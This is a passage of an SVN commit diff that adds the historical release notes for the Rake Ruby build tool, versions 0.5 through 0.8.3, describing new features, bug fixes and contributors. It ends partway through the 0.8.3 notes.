+* Added fix for Ruby 1.8.2 test/unit and rails problem.
+
+* Added contributed rake man file. (Jani Monoses)
+
+* Fixed documentation that was lacking the Rake module name (Tilman
+  Sauerbeck).
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+Lots of people provided input to this release.  Thanks to Tilman
+Sauerbeck for numerous patches, documentation fixes and suggestions.
+And for also pushing me to get this release out.  Also, thanks to
+Brian Candler for the finding and fixing --trace/dry-run fix.  That
+was an obscure bug.  Also to Eric Hodel for some good suggestions.
+
+-- Jim Weirich
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.3.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.3.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.3.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,78 @@
+= Rake 0.5.0 Released
+
+Although it has only been two weeks since the last release, we have
+enough updates to the Rake program to make it time for another
+release.
+
+== Changes
+
+Here are the changes for version 0.5.3 ...
+
+* FileLists have been extensively changed so that they mimic the
+  behavior of real arrays even more closely.  In particular,
+  operations on FileLists that return a new collection (e.g. collect,
+  reject) will now return a FileList rather than an array.  In
+  addition, several places where FileLists were not properly expanded
+  before use have been fixed.
+
+* A method (+ext+) to simplify the handling of file extensions was
+  added to String and to Array.
+
+* The 'testrb' script in test/unit tends to silently swallow syntax
+  errors in test suites.  Because of that, the default test loader is
+  now a rake-provided script.  You can still use 'testrb' by setting
+  the loader flag in the test task to :testrb.  (See the API documents
+  for TestTask for all the loader flag values).
+
+* FileUtil methods (e.g. cp, mv, install) are now declared to be
+  private.  This will cut down on the interference with user defined
+  methods of the same name.
+
+* Fixed the verbose flag in the TestTask so that the test code is
+  controlled by the flag.  Also shortened up some failure messages.
+  (Thanks to Tobias Luetke for the suggestion).
+
+* Rules will now properly detect a task that can generate a source
+  file.  Previously rules would only consider source files that were
+  already present.
+
+* Added an +import+ command that allows Rake to dynamically import
+  dependendencies into a running Rake session.  The +import+ command
+  can run tasks to update the dependency file before loading them.
+  Dependency files can be in rake or make format, allowing rake to
+  work with tools designed to generate dependencies for make.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes.
+Thanks to ...
+
+* Brian Gernhardt for the rules fix (especially for the patience to
+  explain the problem to me until I got what he was talking about).
+* Stefan Lang for pointing out problems in the dark corners of the
+  FileList implementation.
+* Alexey Verkhovsky pointing out the silently swallows syntax errors
+  in tests.
+* Tobias Luetke for beautifying the test task output.
+* Sam Roberts for some of the ideas behind dependency loading.
+
+-- Jim Weirich
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.4.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.4.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.5.4.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,46 @@
+= Rake 0.5.4 Released
+
+Time for some minor bug fixes and small enhancements
+
+== Changes
+
+Here are the changes for version 0.5.3 ...
+
+* Added double quotes to the test runner.  This allows the location of
+  the tests (and runner) to be in a directory path that contains
+  spaces (e.g. "C:/Program Files/ruby/bin").
+
+* Added .svn to default ignore list.  Now subversion project metadata
+  is automatically ignored by Rake's FileList.
+
+* Updated FileList#include to support nested arrays and filelists.
+  FileLists are flat lists of file names.  Using a FileList in an
+  include will flatten out the nested file names.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes.
+Thanks to ...
+
+* Tilman Sauerbeck for the nested FileList suggestion.
+* Josh Knowles for pointing out the spaces in directory name problem.
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.6.0.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.6.0.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.6.0.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,141 @@
+= Rake 0.6.0 Released
+
+Its time for some long requested enhancements and lots of bug fixes
+... And a whole new web page.
+
+== New Web Page
+
+The primary documentation for rake has moved from the RubyForge based
+wiki to its own Hieraki based web site.  Constant spam on the wiki
+made it a difficult to keep clean.  The new site will be easier to
+update and organize.
+
+Check out the new documentation at: http://docs.rubyrake.org
+
+We will be adding new documentation to the site as time goes on.
+
+In addition to the new docs page, make sure you check out Martin
+Fowlers article on rake at http://martinfowler.com/articles/rake.html
+
+== Changes
+
+=== New Features
+
+* Multiple prerequisites on Rake rules now allowed.  However, keep the
+  following in mind:
+
+  1. All the prerequisites of a rule must be available before a rule
+     is triggered, where "enabled" means (a) an existing file, (b) a
+     defined rule, or (c) another rule which also must be
+     trigger-able.
+  2. Rules are checked in order of definition, so it is important to
+     order your rules properly.  If a file can be created by two
+     different rules, put the more specific rule first (otherwise the
+     more general rule will trigger first and the specific one will
+     never be triggered).
+  3. The <tt>source</tt> method now returns the name of the first
+     prerequisite listed in the rule.  <tt>sources</tt> returns the
+     names of all the rule prerequisites, ordered as they are defined
+     in the rule.  If the task has other prerequisites not defined in
+     the rule (but defined in an explicit task definition), then they
+     will _not_ be included in the sources list.
+
+* FileLists may now use the egrep command.  This popular enhancement
+  is now a core part of the FileList object.  If you want to get a
+  list of all your to-dos, fixmes and TBD comments, add the following
+  to your Rakefile.
+
+    desc "Look for TODO and FIXME tags in the code"
+    task :todo do
+      FileList['**/*.rb'].egrep /#.*(FIXME|TODO|TBD)/
+    end
+
+* The <tt>investigation</tt> method was added to task object to dump
+  out some important values.  This makes it a bit easier to debug Rake
+  tasks.
+
+  For example, if you are having problems with a particular task, just
+  print it out:
+
+    task :huh do
+      puts Rake::Task['huh'].investigation
+    end
+
+* The Rake::TestTask class now supports a "ruby_opts" option to pass
+  arbitrary ruby options to a test subprocess.
+
+=== Some Incompatibilities
+
+* When using the <tt>ruby</tt> command to start a Ruby subprocess, the
+  Ruby interpreter that is currently running rake is used by default.
+  This makes it easier to use rake in an environment with multiple
+  ruby installation.  (Previously, the first ruby command found in the
+  PATH was used).
+
+  If you wish to chose a different Ruby interpreter, you can
+  explicitly choose the interpreter via the <tt>sh</tt> command.
+
+* The major rake classes (Task, FileTask, FileCreationTask, RakeApp)
+  have been moved out of the toplevel scope and are now accessible as
+  Rake::Task, Rake::FileTask, Rake::FileCreationTask and
+  Rake::Application.  If your Rakefile
+  directly references any one of these tasks, you may:
+
+  1. Update your Rakefile to use the new classnames
+  2. Use the --classic-namespace option on the rake command to get the
+     old behavior,
+  3. Add <code>require 'rake/classic_namespace'</code> to the
+     Rakefile to get the old behavior.
+
+  <tt>rake</tt> will print a rather annoying warning whenever a
+  deprecated class name is referenced without enabling classic
+  namespace.
+
+=== Bug Fixes
+
+* Several unit tests and functional tests were fixed to run better
+  under windows.
+
+* Directory tasks are now a specialized version of a File task.  A
+  directory task will only be triggered if it doesn't exist.  It will
+  not be triggered if it is out of date w.r.t. any of its
+  prerequisites.
+
+* Fixed a bug in the Rake::GemPackageTask class so that the gem now
+  properly contains the platform name.
+
+* Fixed a bug where a prerequisite on a <tt>file</tt> task would cause
+  an exception if the prerequisite did not exist.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes.
+The following people either contributed patches, made suggestions or
+made otherwise helpful comments.  Thanks to ...
+
+* Greg Fast (better ruby_opt test options)
+* Kelly Felkins (requested by better namespace support)
+* Martin Fowler (suggested Task.investigation)
+* Stuart Jansen (send initial patch for multiple prerequisites).
+* Masao Mutch (better support for non-ruby Gem platforms)
+* Philipp Neubeck (patch for file task exception fix)
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.0.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.0.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.0.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,119 @@
+= Rake 0.7.0 Released
+
+These changes for Rake have been brewing for a long time.  Here they
+are, I hope you enjoy them.
+
+== Changes
+
+=== New Features
+
+* Name space support for task names (see below).
+
+* Prerequisites can be executed in parallel (see below).
+
+* Added safe_ln support for openAFS (via Ludvig Omholt).
+
+* RDoc defaults to internal (in-process) invocation.  The old behavior
+  is still available by setting the +external+ flag to true.
+
+* Rakefiles are now loaded with the expanded path to prevent
+  accidental polution from the Ruby load path.
+
+* Task objects my now be used in prerequisite lists directly.
+
+* Task objects (in addition to task names) may now be included in the
+  prerequisite list of a task.
+
+* Internals cleanup and refactoring.
+
+=== Bug Fixes
+
+* Compatibility fixes for Ruby 1.8.4 FileUtils changes.
+
+=== Namespaces
+
+Tasks can now be nested inside their own namespaces.  Tasks within one
+namespace will not accidently interfer with tasks named in a different
+namespace.
+
+For example:
+
+  namespace "main" do
+    task :build do
+      # Build the main program
+    end
+  end
+
+  namespace "samples" do
+    task :build do
+      # Build the sample programs
+    end
+  end
+
+  task :build_all => ["main:build", "samples:build"]
+
+Even though both tasks are named :build, they are separate tasks in
+their own namespaces.  The :build_all task (defined in the toplevel
+namespace) references both build tasks in its prerequisites.
+
+You may invoke each of the individual build tasks with the following
+commands:
+
+  rake main:build
+  rake samples:build
+
+Or invoke both via the :build_all command:
+
+  rake build_all  
+
+Namespaces may be nested arbitrarily.  Since the name of file tasks
+correspond to the name of a file in the external file system,
+FileTasks are not affected by the namespaces.
+
+See the Rakefile format documentation (in the Rake API documents) for
+more information.
+
+=== Parallel Tasks
+
+Sometimes you have several tasks that can be executed in parallel.  By
+specifying these tasks as prerequisites to a +multitask+ task.
+
+In the following example the tasks copy_src, copy_doc and copy_bin
+will all execute in parallel in their own thread.
+
+  multitask :copy_files => [:copy_src, :copy_doc, :copy_bin] do
+    puts "All Copies Complete"
+  end
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes.
+The following people either contributed patches, made suggestions or
+made otherwise helpful comments.  Thanks to ...
+
+* Doug Young (inspriation for the parallel task)
+
+* David Heinemeier Hansson (for --trace message enhancement and for
+  pushing for namespace support).
+
+* Ludvig Omholt (for the openAFS fix)
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.1.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.1.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.1.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+= Rake 0.7.1 Released
+
+Version 0.7.1 supplies a bug fix and a few minor enhancements.
+
+== Changes
+
+=== Bug Fixes in 0.7.1
+
+* Changes in the exception reported for the FileUtils.ln caused
+  safe_ln to fail with a NotImplementedError.  Rake 0.7.1 will now
+  catch that error or any StandardError and properly fall back to
+  using +cp+.
+
+=== New Features in 0.7.1
+
+* You can filter the results of the --task option by supplying an
+  optional regular expression.  This allows the user to easily find a
+  particular task name in a long list of possible names.
+
+* Transforming procs in a rule may now return a list of prerequisites.
+  This allows more flexible rule formation.
+
+* FileList and String now support a +pathmap+ melthod that makes the
+  transforming paths a bit easier.  See the API docs for +pathmap+ for
+  details.
+
+* The -f option without a value will disable the search for a
+  Rakefile.  This allows the Rakefile to be defined entirely in a
+  library (and loaded with the -r option).  The current working
+  directory is not changed when this is done.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes.
+The following people either contributed patches, made suggestions or
+made otherwise helpful comments.  Thanks to ...
+
+* James Britt and Assaph Mehr for reporting and helping to debug the
+  safe_ln issue.
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.2.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.2.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.2.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,121 @@
+= Rake 0.7.2 Released
+
+Version 0.7.2 supplies a bug fix and a few minor enhancements.  In
+particular, the new version fixes an incompatibility with the soon to
+be released Ruby 1.8.6.  We strongly recommend upgrading to Rake 0.7.2
+in order to be compatible with the new version of Ruby.
+
+== Changes
+
+=== Bug Fixes in 0.7.2
+
+There are quite a number of bug fixes in the new 0.7.2 version of
+Rake:
+
+* Removed dependency on internal fu_xxx functions from FileUtils.
+
+* Error messages are now send to stderr rather than stdout (from
+  Payton Quackenbush).
+
+* Better error handling on invalid command line arguments (from Payton
+  Quackenbush).
+
+* Fixed some bugs where the application object was going to the global
+  appliation instead of using its own data.
+
+* Fixed the method name leak from FileUtils (bug found by Glenn
+  Vanderburg). 
+
+* Added test for noop, bad_option and verbose flags to sh command.
+
+* Added a description to the gem task in GemPackageTask.
+
+* Fixed a bug when rules have multiple prerequisites (patch by Joel
+  VanderWerf)
+
+* Added the handful of RakeFileUtils to the private method as well.
+
+=== New Features in 0.7.2
+
+The following new features are available in Rake version 0.7.2:
+
+* Added square and curly bracket patterns to FileList#include (Tilman
+  Sauerbeck). 
+
+* FileLists can now pass a block to FileList#exclude to exclude files
+  based on calculated values.
+
+* Added plain filename support to rule dependents (suggested by Nobu
+  Nakada). 
+
+* Added pathmap support to rule dependents.  In other words, if a
+  pathmap format (beginning with a '%') is given as a Rake rule
+  dependent, then the name of the depend will be the name of the
+  target with the pathmap format applied.
+
+* Added a 'tasks' method to a namespace to get a list of tasks
+  associated with the namespace.
+
+* Added tar_command and zip_command options to the Package task.
+
+* The clean task will no longer delete 'core' if it is a directory.
+
+=== Internal Rake Improvements
+
+The following changes will are mainly internal improvements and
+refactorings and have little effect on the end user.  But they may be
+of interest to the general public.
+
+* Added rcov task and updated unit testing for better code coverage.
+
+* Added a 'shame' task to the Rakefile.
+
+* Added rake_extension to handle detection of extension collisions.
+
+* Added a protected 'require "rubygems"' to test/test_application to
+  unbreak cruisecontrol.rb.
+
+* Removed rake_dup.  Now we just simply rescue a bad dup.
+
+* Refactored the FileList reject logic to remove duplication.
+
+* Removed if __FILE__ at the end of the rake.rb file.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways.  But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies.  You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes.
+The following people either contributed patches, made suggestions or
+made otherwise helpful comments.  Thanks to ...
+
+* Payton Quackenbush -- For several error handling improvements.
+
+* Glenn Vanderburg -- For finding and fixing the method name leak from
+  FileUtils.
+
+* Joel VanderWerf -- for finding and fixing a bug in the handling of
+  multiple prerequisites.
+
+* Tilman Sauerbeck -- For some enhancing FileList to support more
+  advanced file globbing.
+
+* Nobu Nakada -- For suggesting plain file name support to rule dependents.
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.3.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.3.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.3.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,47 @@
+= Rake 0.7.3 Released
+
+Rake version 0.7.3 is a minor release that includes some refactoring to better
+support custom Rake applications.
+
+== Changes
+
+=== New Features in Version 0.7.3
+
+* Added the +init+ and +top_level+ methods to make the creation of custom Rake applications a bit easier.  E.g.
+
+    gem 'rake', ">= 0.7.3"
+    require 'rake'
+
+    Rake.application.init('myrake')
+   
+    task :default do
+      something_interesting
+    end
+    
+    Rake.application.top_level
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways. But instead of
+cryptic make recipes, Rake uses standard Ruby code to declare tasks and
+dependencies. You have the full power of a modern scripting language built
+right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes. The
+following people either contributed patches, made suggestions or made
+otherwise helpful comments. Thanks to ...
+
+-- Jim Weirich


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.7.3.rdoc
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.0.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.0.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.0.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,114 @@
+= Rake 0.8.0/0.8.1 Released
+
+Rake version 0.8.0 is a new release of rake that includes serveral new
+features.  
+
+== Changes
+
+=== New Features in Version 0.8.0
+
+* Tasks can now receive command line parameters.  See the examples
+  below for more details.
+
+* Comments are limited to 80 columns on output, but full comments can
+  be seen by using the -D parameter. (feature suggested by Jamis
+  Buck).
+
+* Explicit exit(n) calls will now set the exit status to n. (patch
+  provided by Stephen Touset).
+
+* Rake is now compatible with Ruby 1.9.
+
+Version 0.8.1 is a minor update that includes additional Ruby 1.9
+compatibility fixes.
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways. But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies. You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Task Argument Examples
+
+Prior to version 0.8.0, rake was only able to handle command line
+arguments of the form NAME=VALUE that were passed into Rake via the
+ENV hash.  Many folks had asked for some kind of simple command line
+arguments, perhaps using "--" to separate regular task names from
+argument values on the command line.  The problem is that there was no
+easy way to associate positional arguments on the command line with
+different tasks.  Suppose both tasks :a and :b expect a command line
+argument: does the first value go with :a?  What if :b is run first?
+Should it then get the first command line argument.
+
+Rake 0.8.0 solves this problem by explicitly passing values directly
+to the tasks that need them.  For example, if I had a release task
+that required a version number, I could say:
+
+   rake release[0.8.0]
+
+And the string "0.8.0" will be passed to the :release task.  Multiple
+arguments can be passed by separating them with a comma, for example:
+
+   rake name[john,doe]
+
+Just a few words of caution.  The rake task name and its arguments
+need to be a single command line argument to rake.  This generally
+means no spaces.  If spaces are needed, then the entire rake +
+argument string should be quoted.  Something like this:
+
+   rake "name[billy bob, smith]"
+
+(Quoting rules vary between operating systems and shells, so make sure
+you consult the proper docs for your OS/shell).
+
+=== Tasks that Expect Parameters
+
+Parameters are only given to tasks that are setup to expect them.  In
+order to handle named parameters, the task declaration syntax for
+tasks has been extended slightly.
+
+For example, a task that needs a first name and last name might be
+declared as:
+
+   task :name, :first_name, :last_name
+
+The first argument is still the name of the task (:name in this case).
+The next to argumements are the names of the parameters expected by
+:name (:first_name and :last_name in the example).
+
+To access the values of the paramters, the block defining the task
+behaviour can now accept a second parameter:
+
+   task :name, :first_name, :last_name do |t, args|
+     puts "First name is #{args.first_name}"
+     puts "Last  name is #{args.last_name}"
+   end
+
+The first argument of the block "t" is always bound to the current
+task object.  The second argument "args" is an open-struct like object
+that allows access to the task arguments.  Extra command line
+arguments to a task are ignored.  Missing command line arguments are
+given the nil value.
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes. The
+following people either contributed patches, made suggestions or made
+otherwise helpful comments.  Thanks to ...
+
+* Jamis Buck (for comment formatting suggestions)
+* Stephen Touset (for exit status patch).
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.2.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.2.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.2.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,165 @@
+= Rake 0.8.2 Released
+
+Rake version 0.8.2 is a new release of rake that includes a number of
+new features and numerous bug fixes.
+
+== Changes
+
+=== New Features in Version 0.8.2
+
+* Switched from getoptlong to optparse (patches supplied by Edwin
+  Pratomo).
+
+* The -T option will now attempt to dynamically sense the size of the
+  terminal. The -T output will only self-truncate if the output is a
+  tty. However, if RAKE_COLUMNS is explicitly set, it will be honored
+  in any case. (Patch provided by Gavin Stark).
+
+* The following public methods have been added to rake task objects:
+
+  * task.clear -- Clear both the prerequisites and actions of the
+    target rake task.
+  * task.clear_prerequisites -- Clear all the existing prerequisites
+    from the target rake task.
+  * task.clear_actions -- Clear all the existing actions from the
+    target rake task.
+  * task.reenable -- Re-enable a task, allowing its actions to be
+    executed again if the task is invoked.
+
+* Changed RDoc test task to have no default template. This makes it
+  easier for the tempate to pick up the template from the environment.
+
+* Default values for task arguments can easily be specified with the
+  :with_defaults method. (Idea for default argument merging supplied
+  by (Adam Q. Salter)
+
+=== Bug Fixes in Version 0.8.2
+
+* Fixed bug in package task so that it will include the subdir
+  directory in the package for testing. (Bug found by Adam Majer)
+
+* Fixed filename dependency order bug in test_inspect_pending and
+  test_to_s_pending. (Bug found by Adam Majer)
+
+* Fixed check for file utils options to make them immune to the
+  symbol/string differences. (Patch supplied by Edwin Pratomo)
+
+* Fixed bug with rules involving multiple source, where only the first
+  dependency of a rule has any effect (Patch supplied by Emanuel
+  Indermühle)
+
+* FileList#clone and FileList#dup have better sematics w.r.t. taint
+  and freeze.
+
+* Changed from using Mutex to Monitor. Evidently Mutex causes thread
+  join errors when Ruby is compiled with -disable-pthreads. (Patch
+  supplied by Ittay Dror) 
+
+* Fixed bug in makefile parser that had problems with extra spaces in
+  file task names. (Patch supplied by Ittay Dror)
+
+== Other changes in Version 0.8.2
+
+* Added ENV var to rake's own Rakefile to prevent OS X from including
+  extended attribute junk in the rake package tar file. (Bug found by
+  Adam Majer)
+
+* Added a performance patch for reading large makefile dependency
+  files. (Patch supplied by Ittay Dror)
+
+== What is Rake
+
+Rake is a build tool similar to the make program in many ways. But
+instead of cryptic make recipes, Rake uses standard Ruby code to
+declare tasks and dependencies. You have the full power of a modern
+scripting language built right into your build tool.
+
+== Availability
+
+The easiest way to get and install rake is via RubyGems ...
+
+  gem install rake    (you may need root/admin privileges)
+
+Otherwise, you can get it from the more traditional places:
+
+Home Page:: http://rake.rubyforge.org/
+Download::  http://rubyforge.org/project/showfiles.php?group_id=50
+
+== Task Argument Examples
+
+Prior to version 0.8.0, rake was only able to handle command line
+arguments of the form NAME=VALUE that were passed into Rake via the
+ENV hash.  Many folks had asked for some kind of simple command line
+arguments, perhaps using "--" to separate regular task names from
+argument values on the command line.  The problem is that there was no
+easy way to associate positional arguments on the command line with
+different tasks.  Suppose both tasks :a and :b expect a command line
+argument: does the first value go with :a?  What if :b is run first?
+Should it then get the first command line argument.
+
+Rake 0.8.0 solves this problem by explicitly passing values directly
+to the tasks that need them.  For example, if I had a release task
+that required a version number, I could say:
+
+   rake release[0.8.2]
+
+And the string "0.8.2" will be passed to the :release task.  Multiple
+arguments can be passed by separating them with a comma, for example:
+
+   rake name[john,doe]
+
+Just a few words of caution.  The rake task name and its arguments
+need to be a single command line argument to rake.  This generally
+means no spaces.  If spaces are needed, then the entire rake +
+argument string should be quoted.  Something like this:
+
+   rake "name[billy bob, smith]"
+
+(Quoting rules vary between operating systems and shells, so make sure
+you consult the proper docs for your OS/shell).
+
+=== Tasks that Expect Parameters
+
+Parameters are only given to tasks that are setup to expect them.  In
+order to handle named parameters, the task declaration syntax for
+tasks has been extended slightly.
+
+For example, a task that needs a first name and last name might be
+declared as:
+
+   task :name, :first_name, :last_name
+
+The first argument is still the name of the task (:name in this case).
+The next to argumements are the names of the parameters expected by
+:name (:first_name and :last_name in the example).
+
+To access the values of the paramters, the block defining the task
+behaviour can now accept a second parameter:
+
+   task :name, :first_name, :last_name do |t, args|
+     puts "First name is #{args.first_name}"
+     puts "Last  name is #{args.last_name}"
+   end
+
+The first argument of the block "t" is always bound to the current
+task object.  The second argument "args" is an open-struct like object
+that allows access to the task arguments.  Extra command line
+arguments to a task are ignored.  Missing command line arguments are
+given the nil value.
+
+== Thanks
+
+As usual, it was input from users that drove a alot of these changes. The
+following people either contributed patches, made suggestions or made
+otherwise helpful comments.  Thanks to ...
+
+* Edwin Pratomo
+* Gavin Stark
+* Adam Q. Salter
+* Adam Majer
+* Emanuel Indermühle
+* Ittay Dror
+* Bheeshmar Redheendran (for spending an afternoon with me debugging
+  windows issues)
+
+-- Jim Weirich

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.3.rdoc
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.3.rdoc	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/doc/release_notes/rake-0.8.3.rdoc	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,112 @@
+= Rake 0.8.3 Released
+
+Rake version 0.8.3 is a bug-fix release of rake.
+
+== Changes
+
+=== Bug Fixes in Version 0.8.3
+
+* Enhanced the system directory detection in windows. We now check
+  HOMEDRIVE/HOMEPATH and USERPROFILE if APPDATA isn't found. (Patch
+  supplied by James Tucker). Rake no long aborts if it can't find the
+  directory.
+
+* Added fix to handle ruby installations in directories with spaces in
+  their name.  
+
